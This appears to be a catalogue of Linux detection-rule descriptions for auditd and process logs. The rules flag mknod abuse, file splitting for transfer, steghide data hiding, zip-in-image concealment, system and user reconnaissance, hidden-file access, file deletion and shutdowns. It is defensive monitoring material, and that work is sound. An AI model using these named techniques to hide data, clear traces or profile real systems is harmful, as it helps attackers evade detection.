Detects usage of the `mknod` syscall to create special files (e.g., character or block devices). Attackers or malware might use `mknod` to create fake devices, interact with kernel interfaces, or establish covert channels in Linux systems. Monitoring the use of `mknod` is important because this syscall is rarely used by legitimate applications, and it can be abused to bypass file system restrictions or create backdoors.

linux · auditd

Detection use of the command "split" to split files into parts and possible transfer.

linux · auditd

Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

linux · auditd

Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

linux · auditd

Detects appending of zip file to image

linux · auditd

Detects extracting of zip file from image file

linux · auditd

Detects use of the sysinfo system call in Linux, which provides a snapshot of key system statistics such as uptime, load averages, memory usage, and the number of running processes. Malware or reconnaissance tools might leverage sysinfo to fingerprint the system - gathering data to determine if it's a viable target.

linux · auditd

Detects System Information Discovery commands

linux · auditd

Detects usage of system utilities to discover system network connections

linux · process_creation

Detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

linux · auditd

Detects calls to hidden files or files located in hidden directories in NIX systems.

linux · auditd

Detects usage of system utilities such as "find", "tree", "findmnt", etc, to discover files, directories and network shares.

linux · process_creation

Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity

linux · process_creation

Detects system information discovery commands

linux · auditd

Detects system information discovery commands

linux · process_creation

Detects enumeration of local network configuration

linux · process_creation

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.

linux · auditd